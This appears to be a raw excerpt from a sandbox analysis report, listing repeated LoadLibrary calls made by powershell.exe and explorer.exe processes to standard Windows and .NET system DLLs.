(UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00001612) "powershell.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00001612) "explorer.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\ece80f2e3752a779e894fd45d8f27e64\System.Drawing.ni.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\b138f79dea860272ebe6694d9b73f656\System.Windows.Forms.ni.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\fb4ba4db52ca77687f807bb068871ec2\Microsoft.VisualBasic.ni.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005336) "explorer.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005336) 